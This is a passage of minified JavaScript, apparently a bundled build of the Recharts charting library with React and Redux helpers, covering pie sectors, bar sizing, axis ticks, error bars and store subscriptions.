de=le>0?{transition:oe,strokeDasharray:V}:{strokeDasharray:U};return v.createElement("path",dh({},ur(t),{className:M,d:M2($,Z,ce,L,F),ref:y,style:N2(N2({},de),t.style)}))})},zne=["option","shapeType","activeClassName"];function $ne(e,t){if(e==null)return{};var n,r,i=Bne(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var r=ft();return(i,l)=>c=>{e?.(i,l,c),r(vL({activeIndex:String(l),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},H1=e=>{var t=ft();return(n,r)=>i=>{e?.(n,r,i),t(QQ())}},q1=(e,t,n)=>{var r=ft();return(i,l)=>c=>{e?.(i,l,c),r(JQ({activeIndex:String(l),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function iI(e){var{tooltipEntrySettings:t}=e,n=ft(),r=Vn(),i=v.useRef(null);return v.useLayoutEffect(()=>{r||(i.current===null?n(GQ(t)):i.current!==t&&n(WQ({prev:i.current,next:t})),i.current=t)},[t,n,r]),v.useLayoutEffect(()=>()=>{i.current&&(n(XQ(i.current)),i.current=null)},[n]),null}function Yne(e){var{legendPayload:t}=e,n=ft(),r=Vn(),i=v.useRef(null);return v.useLayoutEffect(()=>{r||(i.current===null?n(SD(t)):i.current!==t&&n(OD({prev:i.current,next:t})),i.current=t)},[n,r,t]),v.useLayoutEffect(()=>()=>{i.current&&(n(ED(i.current)),i.current=null)},[n]),null}function Gne(e){var{legendPayload:t}=e,n=ft(),r=we(Fe),i=v.useRef(null);return v.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(SD(t)):i.current!==t&&n(OD({prev:i.current,next:t})),i.current=t)},[n,r,t]),v.useLayoutEffect(()=>()=>{i.current&&(n(ED(i.current)),i.current=null)},[n]),null}var Jy,Wne=()=>{var[e]=v.useState(()=>Ac("uid-"));return e},Xne=(Jy=Eh.useId)!==null&&Jy!==void 0?Jy:Wne;function Zne(e,t){var n=Xne();return t||(e?"".concat(e,"-").concat(n):n)}var Qne=v.createContext(void 0),oI=e=>{var{id:t,type:n,children:r}=e,i=Zne("recharts-".concat(n),t);return v.createElement(Qne.Provider,{value:i},r(i))},Jne={cartesianItems:[],polarItems:[]},lI=An({name:"graphicalItems",initialState:Jne,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:ct()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Sr(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:ct()},removeCartesianGraphicalItem:{reducer(e,t){var n=Sr(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:ct()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:ct()},removePolarGraphicalItem:{reducer(e,t){var n=Sr(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:ct()}}}),{addCartesianGraphicalItem:ere,replaceCartesianGraphicalItem:tre,removeCartesianGraphicalItem:nre,addPolarGraphicalItem:rre,removePolarGraphicalItem:are}=lI.actions,ire=lI.reducer,ore=e=>{var t=ft(),n=v.useRef(null);return v.useLayoutEffect(()=>{n.current===null?t(ere(e)):n.current!==e&&t(tre({prev:n.current,next:e})),n.current=e},[t,e]),v.useLayoutEffect(()=>()=>{n.current&&(t(nre(n.current)),n.current=null)},[t]),null},lre=v.memo(ore);function sre(e){var t=ft();return v.useLayoutEffect(()=>(t(rre(e)),()=>{t(are(e))}),[t,e]),null}var cre=["key"],ure=["onMouseEnter","onClick","onMouseLeave"],fre=["id"],dre=["id"];function R2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function yt(e){for(var t=1;tB1(e.children,vo),[e.children]),n=we(r=>Ene(r,e.id,t));return n==null?null:v.createElement(Gne,{legendPayload:n})}var yre=v.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:l,fill:c,name:u,hide:f,tooltipType:h,id:p}=e,m={dataDefinedOnItem:r.map(y=>y.tooltipPayload),positions:r.map(y=>y.tooltipPosition),settings:{stroke:i,strokeWidth:l,fill:c,dataKey:t,nameKey:n,name:ip(u,t),hide:f,type:h,color:c,unit:"",graphicalItemId:p}};return v.createElement(iI,{tooltipEntrySettings:m})}),bre=(e,t)=>e>t?"start":eon(typeof t=="function"?t(e):t,n,n*.8),wre=(e,t,n)=>{var{top:r,left:i,width:l,height:c}=t,u=jD(l,c),f=i+on(e.cx,l,l/2),h=r+on(e.cy,c,c/2),p=on(e.innerRadius,u,0),m=xre(n,e.outerRadius,u),y=e.maxRadius||Math.sqrt(l*l+c*c)/2;return{cx:f,cy:h,innerRadius:p,outerRadius:m,maxRadius:y}},Sre=(e,t)=>{var n=tn(t-e),r=Math.min(Math.abs(t-e),360);return n*r};function Ore(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}var Ere=(e,t)=>{if(v.isValidElement(e))return v.cloneElement(e,t);if(typeof e=="function")return e(t);var n=Ye("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=zp(t,cre);return v.createElement(Cx,Ei({},i,{type:"linear",className:n}))},Are=(e,t,n)=>{if(v.isValidElement(e))return v.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),v.isValidElement(r)))return r;var i=Ye("recharts-pie-label-text",Ore(e));return v.createElement(kp,Ei({},t,{alignmentBaseline:"middle",className:i}),r)};function Cre(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:l,dataKey:c}=n;if(!r||!i||!t)return null;var u=Ur(n),f=Ec(i),h=Ec(l),p=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,m=t.map((y,x)=>{var S=(y.startAngle+y.endAngle)/2,w=Nt(y.cx,y.cy,y.outerRadius+p,S),O=yt(yt(yt(yt({},u),y),{},{stroke:"none"},f),{},{index:x,textAnchor:bre(w.x,y.cx)},w),A=yt(yt(yt(yt({},u),y),{},{fill:"none",stroke:y.fill},h),{},{index:x,points:[Nt(y.cx,y.cy,y.outerRadius,S),w],key:"line"});return v.createElement(Gr,{zIndex:an.label,key:"label-".concat(y.startAngle,"-").concat(y.endAngle,"-").concat(y.midAngle,"-").concat(x)},v.createElement(fn,null,l&&Ere(l,A),Are(i,O,lt(y,c))))});return v.createElement(fn,{className:"recharts-pie-labels"},m)}function _re(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?v.createElement(QL,{label:i}):v.createElement(Cre,{sectors:t,props:n,showLabels:r})}function Tre(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:l,id:c}=e,u=we(mo),f=we(P1),h=we(zJ),{onMouseEnter:p,onClick:m,onMouseLeave:y}=i,x=zp(i,ure),S=U1(p,i.dataKey,c),w=H1(y),O=q1(m,i.dataKey,c);return t==null||t.length===0?null:v.createElement(v.Fragment,null,t.map((A,_)=>{if(A?.startAngle===0&&A?.endAngle===0&&t.length!==1)return null;var T=h==null||h===c,j=String(_)===u&&(f==null||i.dataKey===f)&&T,M=u?r:null,P=n&&j?n:M,R=yt(yt({},A),{},{stroke:A.stroke,tabIndex:-1,[cD]:_,[uD]:c});return v.createElement(fn,Ei({key:"sector-".concat(A?.startAngle,"-").concat(A?.endAngle,"-").concat(A.midAngle,"-").concat(_),tabIndex:-1,className:"recharts-pie-sector"},Wh(x,A,_),{onMouseEnter:S(A,_),onMouseLeave:w(A,_),onClick:O(A,_)}),v.createElement(aI,Ei({option:l??P,index:_,shapeType:"sector",isActive:j},R)))}))}function Nre(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:l}=e,{cornerRadius:c,startAngle:u,endAngle:f,dataKey:h,nameKey:p,tooltipType:m}=n,y=Math.abs(n.minAngle),x=Sre(u,f),S=Math.abs(x),w=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,O=r.filter(P=>lt(P,h,0)!==0).length,A=(S>=360?O:O-1)*w,_=S-O*y-A,T=r.reduce((P,R)=>{var I=lt(R,h,0);return P+(Oe(I)?I:0)},0),j;if(T>0){var M;j=r.map((P,R)=>{var I=lt(P,h,0),B=lt(P,p,R),q=wre(n,l,P),U=(Oe(I)?I:0)/T,V,oe=yt(yt({},P),i&&i[R]&&i[R].props);R?V=M.endAngle+tn(x)*w*(I!==0?1:0):V=u;var le=V+tn(x)*((I!==0?y:0)+U*_),ce=(V+le)/2,L=(q.innerRadius+q.outerRadius)/2,F=[{name:B,value:I,payload:oe,dataKey:h,type:m,graphicalItemId:n.id}],$=Nt(q.cx,q.cy,L,ce);return M=yt(yt(yt(yt({},n.presentationProps),{},{percent:U,cornerRadius:typeof c=="string"?parseFloat(c):c,name:B,tooltipPayload:F,midAngle:ce,middleRadius:L,tooltipPosition:$},oe),q),{},{value:I,dataKey:h,startAngle:V,endAngle:le,payload:oe,paddingAngle:tn(x)*w}),M})}return j}function Mre(e){var{showLabels:t,sectors:n,children:r}=e,i=v.useMemo(()=>!t||!n?[]:n.map(l=>({value:l.value,payload:l.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:l.cx,cy:l.cy,innerRadius:l.innerRadius,outerRadius:l.outerRadius,startAngle:l.startAngle,endAngle:l.endAngle,clockWise:!1},fill:l.fill})),[n,t]);return v.createElement(sne,{value:t?i:void 0},r)}function jre(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:l,animationBegin:c,animationDuration:u,animationEasing:f,activeShape:h,inactiveShape:p,onAnimationStart:m,onAnimationEnd:y}=t,x=gp(t,"recharts-pie-"),S=n.current,[w,O]=v.useState(!1),A=v.useCallback(()=>{typeof y=="function"&&y(),O(!1)},[y]),_=v.useCallback(()=>{typeof m=="function"&&m(),O(!0)},[m]);return v.createElement(Mre,{showLabels:!w,sectors:i},v.createElement(vp,{animationId:x,begin:c,duration:u,isActive:l,easing:f,onAnimationStart:_,onAnimationEnd:A,key:x},T=>{var j=[],M=i&&i[0],P=M?.startAngle;return i?.forEach((R,I)=>{var B=S&&S[I],q=I>0?co(R,"paddingAngle",0):0;if(B){var U=Rt(B.endAngle-B.startAngle,R.endAngle-R.startAngle,T),V=yt(yt({},R),{},{startAngle:P+q,endAngle:P+U+q});j.push(V),P=V.endAngle}else{var{endAngle:oe,startAngle:le}=R,ce=Rt(0,oe-le,T),L=yt(yt({},R),{},{startAngle:P+q,endAngle:P+ce+q});j.push(L),P=L.endAngle}}),n.current=j,v.createElement(fn,null,v.createElement(Tre,{sectors:j,activeShape:h,inactiveShape:p,allOtherPieProps:t,shape:t.shape,id:r}))}),v.createElement(_re,{showLabels:!w,sectors:i,props:t}),t.children)}var Pre={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:an.area};function Rre(e){var{id:t}=e,n=zp(e,fre),{hide:r,className:i,rootTabIndex:l}=e,c=v.useMemo(()=>B1(e.children,vo),[e.children]),u=we(p=>Ane(p,t,c)),f=v.useRef(null),h=Ye("recharts-pie",i);return r||u==null?(f.current=null,v.createElement(fn,{tabIndex:l,className:h})):v.createElement(Gr,{zIndex:e.zIndex},v.createElement(yre,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:u,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),v.createElement(fn,{tabIndex:l,className:h},v.createElement(jre,{props:yt(yt({},n),{},{sectors:u}),previousSectorsRef:f,id:t})))}function F1(e){var t=pn(e,Pre),{id:n}=t,r=zp(t,dre),i=Ur(r);return v.createElement(oI,{id:n,type:"pie"},l=>v.createElement(v.Fragment,null,v.createElement(sre,{type:"pie",id:l,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),v.createElement(gre,Ei({},r,{id:l})),v.createElement(Rre,Ei({},r,{id:l}))))}F1.displayName="Pie";function D2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function k2(e){for(var t=1;t({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),Yre=G([Kre,Pa,Ra],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),uI=()=>we(Yre),L2=(e,t,n)=>{var r=n??e;if(!Vt(r))return on(r,t,0)},Gre=(e,t,n)=>{var r={},i=e.filter(_p),l=e.filter(h=>h.stackId==null),c=i.reduce((h,p)=>(h[p.stackId]||(h[p.stackId]=[]),h[p.stackId].push(p),h),r),u=Object.entries(c).map(h=>{var[p,m]=h,y=m.map(S=>S.dataKey),x=L2(t,n,m[0].barSize);return{stackId:p,dataKeys:y,barSize:x}}),f=l.map(h=>{var p=[h.dataKey].filter(y=>y!=null),m=L2(t,n,h.barSize);return{stackId:void 0,dataKeys:p,barSize:m}});return[...u,...f]};function I2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function od(e){for(var t=1;tA+(_.barSize||0),0);m+=(l-1)*c,m>=n&&(m-=(l-1)*c,c=0),m>=n&&p>0&&(h=!0,p*=.9,m=l*p);var y=(n-m)/2>>0,x={offset:y-c,size:0};u=r.reduce((A,_)=>{var T,j={stackId:_.stackId,dataKeys:_.dataKeys,position:{offset:x.offset+x.size+c,size:h?p:(T=_.barSize)!==null&&T!==void 0?T:0}},M=[...A,j];return x=M[M.length-1].position,M},f)}else{var S=on(t,n,0,!0);n-2*S-(l-1)*c<=0&&(c=0);var w=(n-2*S-(l-1)*c)/l;w>1&&(w>>=0);var O=ht(i)?Math.min(w,i):w;u=r.reduce((A,_,T)=>[...A,{stackId:_.stackId,dataKeys:_.dataKeys,position:{offset:S+(w+c)*T+(w-O)/2,size:O}}],f)}return u}}var Jre=(e,t,n,r,i,l,c)=>{var u=Vt(c)?t:c,f=Qre(n,r,i!==l?i:l,e,u);return i!==l&&f!=null&&(f=f.map(h=>od(od({},h),{},{position:od(od({},h.position),{},{offset:h.position.offset-i/2})}))),f},eae=(e,t)=>{var n=a1(t);if(!(!e||n==null||t==null)){var{stackId:r}=t;if(r!=null){var i=e[r];if(i){var{stackedData:l}=i;if(l)return l.find(c=>c.key===n)}}}};function tae(e,t){return e&&typeof e=="object"&&"zIndex"in e&&typeof e.zIndex=="number"&&ht(e.zIndex)?e.zIndex:t}var fI=e=>{var{chartData:t}=e,n=ft(),r=Vn();return v.useEffect(()=>r?()=>{}:(n(KN(t)),()=>{n(KN(void 0))}),[t,n,r]),null},z2={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},dI=An({name:"brush",initialState:z2,reducers:{setBrushSettings(e,t){return t.payload==null?z2:t.payload}}}),{setBrushSettings:Mue}=dI.actions,nae=dI.reducer;function rae(e,t,n){return(t=aae(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function aae(e){var t=iae(e,"string");return typeof t=="symbol"?t:t+""}function iae(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class V1{static create(t){return new V1(t)}constructor(t){this.scale=t}get domain(){return this.scale.domain}get range(){return this.scale.range}get rangeMin(){return this.range()[0]}get rangeMax(){return this.range()[1]}get bandwidth(){return this.scale.bandwidth}apply(t){var{bandAware:n,position:r}=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t!==void 0){if(r)switch(r){case"start":return this.scale(t);case"middle":{var i=this.bandwidth?this.bandwidth()/2:0;return this.scale(t)+i}case"end":{var l=this.bandwidth?this.bandwidth():0;return this.scale(t)+l}default:return this.scale(t)}if(n){var c=this.bandwidth?this.bandwidth()/2:0;return this.scale(t)+c}return this.scale(t)}}isInRange(t){var n=this.range(),r=n[0],i=n[n.length-1];return r<=i?t>=r&&t<=i:t>=i&&t<=r}}rae(V1,"EPS",1e-4);function oae(e){return(e%180+180)%180}var lae=function(t){var{width:n,height:r}=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,l=oae(i),c=l*Math.PI/180,u=Math.atan(r/n),f=c>u&&c{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=Sr(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var n=Sr(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=Sr(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:jue,removeDot:Pue,addArea:Rue,removeArea:Due,addLine:kue,removeLine:Lue}=hI.actions,cae=hI.reducer,uae=v.createContext(void 0),fae=e=>{var{children:t}=e,[n]=v.useState("".concat(Ac("recharts"),"-clip")),r=uI();if(r==null)return null;var{x:i,y:l,width:c,height:u}=r;return v.createElement(uae.Provider,{value:n},v.createElement("defs",null,v.createElement("clipPath",{id:n},v.createElement("rect",{x:i,y:l,height:u,width:c}))),t)};function pI(e,t){if(t<1)return[];if(t===1)return e;for(var n=[],r=0;re*i)return!1;var l=n();return e*(t-e*l/2-r)>=0&&e*(t+e*l/2-i)<=0}function pae(e,t){return pI(e,t+1)}function mae(e,t,n,r,i){for(var l=(r||[]).slice(),{start:c,end:u}=t,f=0,h=1,p=c,m=function(){var S=r?.[f];if(S===void 0)return{v:pI(r,h)};var w=f,O,A=()=>(O===void 0&&(O=n(S,w)),O),_=S.coordinate,T=f===0||$c(e,_,A,p,u);T||(f=0,p=c,h+=1),T&&(p=_+e*(A()/2+i),f+=h)},y;h<=l.length;)if(y=m(),y)return y.v;return[]}function vae(e,t,n,r,i){var l=(r||[]).slice(),c=l.length;if(c===0)return[];for(var{start:u,end:f}=t,h=1;h<=c;h++){for(var p=(c-1)%h,m=u,y=!0,x=function(){var _=r[S],T=S,j,M=()=>(j===void 0&&(j=n(_,T)),j),P=_.coordinate,R=S===p||$c(e,P,M,m,f);if(!R)return y=!1,1;R&&(m=P+e*(M()/2+i))},S=p;S(S===void 0&&(S=n(x,y)),S);if(y===c-1){var O=e*(x.coordinate+e*w()/2-f);l[y]=x=rn(rn({},x),{},{tickCoord:O>0?x.coordinate-O*e:x.coordinate})}else l[y]=x=rn(rn({},x),{},{tickCoord:x.coordinate});if(x.tickCoord!=null){var A=$c(e,x.tickCoord,w,u,f);A&&(f=x.tickCoord-e*(w()/2+i),l[y]=rn(rn({},x),{},{isShow:!0}))}},p=c-1;p>=0;p--)h(p);return l}function wae(e,t,n,r,i,l){var c=(r||[]).slice(),u=c.length,{start:f,end:h}=t;if(l){var p=r[u-1],m=n(p,u-1),y=e*(p.coordinate+e*m/2-h);if(c[u-1]=p=rn(rn({},p),{},{tickCoord:y>0?p.coordinate-y*e:p.coordinate}),p.tickCoord!=null){var x=$c(e,p.tickCoord,()=>m,f,h);x&&(h=p.tickCoord-e*(m/2+i),c[u-1]=rn(rn({},p),{},{isShow:!0}))}}for(var S=l?u-1:u,w=function(_){var T=c[_],j,M=()=>(j===void 0&&(j=n(T,_)),j);if(_===0){var P=e*(T.coordinate-e*M()/2-f);c[_]=T=rn(rn({},T),{},{tickCoord:P<0?T.coordinate-P*e:T.coordinate})}else c[_]=T=rn(rn({},T),{},{tickCoord:T.coordinate});if(T.tickCoord!=null){var R=$c(e,T.tickCoord,M,f,h);R&&(f=T.tickCoord+e*(M()/2+i),c[_]=rn(rn({},T),{},{isShow:!0}))}},O=0;O{var M=typeof h=="function"?h(T.value,j):T.value;return S==="width"?dae(bc(M,{fontSize:t,letterSpacing:n}),w,m):bc(M,{fontSize:t,letterSpacing:n})[S]},A=i.length>=2?tn(i[1].coordinate-i[0].coordinate):1,_=hae(l,A,S);return f==="equidistantPreserveStart"?mae(A,_,O,i,c):f==="equidistantPreserveEnd"?vae(A,_,O,i,c):(f==="preserveStart"||f==="preserveStartEnd"?x=wae(A,_,O,i,c,f==="preserveStartEnd"):x=xae(A,_,O,i,c),x.filter(T=>T.isShow))}var Oae=e=>{var{ticks:t,label:n,labelGapWithTick:r=5,tickSize:i=0,tickMargin:l=0}=e,c=0;if(t){Array.from(t).forEach(p=>{if(p){var m=p.getBoundingClientRect();m.width>c&&(c=m.width)}});var u=n?n.getBoundingClientRect().width:0,f=i+l,h=c+f+u+(n?r:0);return Math.round(h)}return 0},Eae=["axisLine","width","height","className","hide","ticks","axisType"];function Aae(e,t){if(e==null)return{};var n,r,i=Cae(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var{ticks:n=[],tick:r,tickLine:i,stroke:l,tickFormatter:c,unit:u,padding:f,tickTextProps:h,orientation:p,mirror:m,x:y,y:x,width:S,height:w,tickSize:O,tickMargin:A,fontSize:_,letterSpacing:T,getTicksConfig:j,events:M,axisType:P}=e,R=Sae(Tt(Tt({},j),{},{ticks:n}),_,T),I=Pae(p,m),B=Rae(p,m),q=Ur(j),U=Ec(r),V={};typeof i=="object"&&(V=i);var oe=Tt(Tt({},q),{},{fill:"none"},V),le=R.map(F=>Tt({entry:F},jae(F,y,x,S,w,p,O,m,A))),ce=le.map(F=>{var{entry:$,line:Z}=F;return v.createElement(fn,{className:"recharts-cartesian-axis-tick",key:"tick-".concat($.value,"-").concat($.coordinate,"-").concat($.tickCoord)},i&&v.createElement("line",go({},oe,Z,{className:Ye("recharts-cartesian-axis-tick-line",co(i,"className"))})))}),L=le.map((F,$)=>{var{entry:Z,tick:de}=F,D=Tt(Tt(Tt(Tt({textAnchor:I,verticalAnchor:B},q),{},{stroke:"none",fill:l},U),de),{},{index:$,payload:Z,visibleTicksCount:R.length,tickFormatter:c,padding:f},h);return v.createElement(fn,go({className:"recharts-cartesian-axis-tick-label",key:"tick-label-".concat(Z.value,"-").concat(Z.coordinate,"-").concat(Z.tickCoord)},Wh(M,Z,$)),r&&v.createElement(Dae,{option:r,tickProps:D,value:"".concat(typeof c=="function"?c(Z.value,$):Z.value).concat(u||"")}))});return v.createElement("g",{className:"recharts-cartesian-axis-ticks recharts-".concat(P,"-ticks")},L.length>0&&v.createElement(Gr,{zIndex:an.label},v.createElement("g",{className:"recharts-cartesian-axis-tick-labels recharts-".concat(P,"-tick-labels"),ref:t},L)),ce.length>0&&v.createElement("g",{className:"recharts-cartesian-axis-tick-lines recharts-".concat(P,"-tick-lines")},ce))}),Lae=v.forwardRef((e,t)=>{var{axisLine:n,width:r,height:i,className:l,hide:c,ticks:u,axisType:f}=e,h=Aae(e,Eae),[p,m]=v.useState(""),[y,x]=v.useState(""),S=v.useRef(null);v.useImperativeHandle(t,()=>({getCalculatedWidth:()=>{var O;return Oae({ticks:S.current,label:(O=e.labelRef)===null||O===void 0?void 0:O.current,labelGapWithTick:5,tickSize:e.tickSize,tickMargin:e.tickMargin})}}));var w=v.useCallback(O=>{if(O){var A=O.getElementsByClassName("recharts-cartesian-axis-tick-value");S.current=A;var _=A[0];if(_){var T=window.getComputedStyle(_),j=T.fontSize,M=T.letterSpacing;(j!==p||M!==y)&&(m(j),x(M))}}},[p,y]);return c||r!=null&&r<=0||i!=null&&i<=0?null:v.createElement(Gr,{zIndex:e.zIndex},v.createElement(fn,{className:Ye("recharts-cartesian-axis",l)},v.createElement(Mae,{x:e.x,y:e.y,width:r,height:i,orientation:e.orientation,mirror:e.mirror,axisLine:n,otherSvgProps:Ur(e)}),v.createElement(kae,{ref:w,axisType:f,events:h,fontSize:p,getTicksConfig:e,height:e.height,letterSpacing:y,mirror:e.mirror,orientation:e.orientation,padding:e.padding,stroke:e.stroke,tick:e.tick,tickFormatter:e.tickFormatter,tickLine:e.tickLine,tickMargin:e.tickMargin,tickSize:e.tickSize,tickTextProps:e.tickTextProps,ticks:u,unit:e.unit,width:e.width,x:e.x,y:e.y}),v.createElement(Bte,{x:e.x,y:e.y,width:e.width,height:e.height,lowerWidth:e.width,upperWidth:e.width},v.createElement(Xte,{label:e.label,labelRef:e.labelRef}),e.children)))}),K1=v.forwardRef((e,t)=>{var n=pn(e,ro);return v.createElement(Lae,go({},n,{ref:t}))});K1.displayName="CartesianAxis";var Iae={},mI=An({name:"errorBars",initialState:Iae,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(l=>l.dataKey===r.dataKey&&l.direction===r.direction?i:l))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:Iue,replaceErrorBar:zue,removeErrorBar:$ue}=mI.actions,zae=mI.reducer,$ae=["children"];function Bae(e,t){if(e==null)return{};var n,r,i=Uae(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r({x:0,y:0,value:0}),errorBarOffset:0},qae=v.createContext(Hae);function Fae(e){var{children:t}=e,n=Bae(e,$ae);return v.createElement(qae.Provider,{value:n},t)}function vI(e,t){var n,r,i=we(h=>La(h,e)),l=we(h=>Ia(h,t)),c=(n=i?.allowDataOverflow)!==null&&n!==void 0?n:Ut.allowDataOverflow,u=(r=l?.allowDataOverflow)!==null&&r!==void 0?r:Ht.allowDataOverflow,f=c||u;return{needClip:f,needClipX:c,needClipY:u}}function Vae(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=uI(),{needClipX:l,needClipY:c,needClip:u}=vI(t,n);if(!u||!i)return null;var{x:f,y:h,width:p,height:m}=i;return v.createElement("clipPath",{id:"clipPath-".concat(r)},v.createElement("rect",{x:l?f:f-p/2,y:c?h:h-m/2,width:l?p:p*2,height:c?m:m*2}))}var e0={exports:{}},t0={};var U2;function Kae(){if(U2)return t0;U2=1;var e=Ul();function t(f,h){return f===h&&(f!==0||1/f===1/h)||f!==f&&h!==h}var n=typeof Object.is=="function"?Object.is:t,r=e.useSyncExternalStore,i=e.useRef,l=e.useEffect,c=e.useMemo,u=e.useDebugValue;return t0.useSyncExternalStoreWithSelector=function(f,h,p,m,y){var x=i(null);if(x.current===null){var S={hasValue:!1,value:null};x.current=S}else S=x.current;x=c(function(){function O(M){if(!A){if(A=!0,_=M,M=m(M),y!==void 0&&S.hasValue){var P=S.value;if(y(P,M))return T=P}return T=M}if(P=T,n(_,M))return P;var R=m(M);return y!==void 0&&y(P,R)?(_=M,P):(_=M,T=R)}var A=!1,_,T,j=p===void 0?null:p;return[function(){return O(h())},j===null?void 0:function(){return O(j())}]},[h,p,m,y]);var w=r(f,x[0],x[1]);return l(function(){S.hasValue=!0,S.value=w},[w]),u(w),w},t0}var H2;function Yae(){return H2||(H2=1,e0.exports=Kae()),e0.exports}Yae();function Gae(e){e()}function Wae(){let e=null,t=null;return{clear(){e=null,t=null},notify(){Gae(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var q2={notify(){},get:()=>[]};function Xae(e,t){let n,r=q2,i=0,l=!1;function c(w){p();const O=r.subscribe(w);let A=!1;return()=>{A||(A=!0,O(),m())}}function u(){r.notify()}function f(){S.onStateChange&&S.onStateChange()}function h(){return l}function p(){i++,n||(n=e.subscribe(f),r=Wae())}function m(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=q2)}function y(){l||(l=!0,p())}function x(){l&&(l=!1,m())}const S={addNestedSub:c,notifyNestedSubs:u,handleChangeWrapper:f,isSubscribed:h,trySubscribe:y,tryUnsubscribe:x,getListeners:()=>r};return S}var Zae=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",Qae=Zae(),Jae=()=>typeof navigator<"u"&&navigator.product==="ReactNative",eie=Jae(),tie=()=>Qae||eie?v.useLayoutEffect:v.useEffect,nie=tie();function F2(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function rie(e,t){if(F2(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const 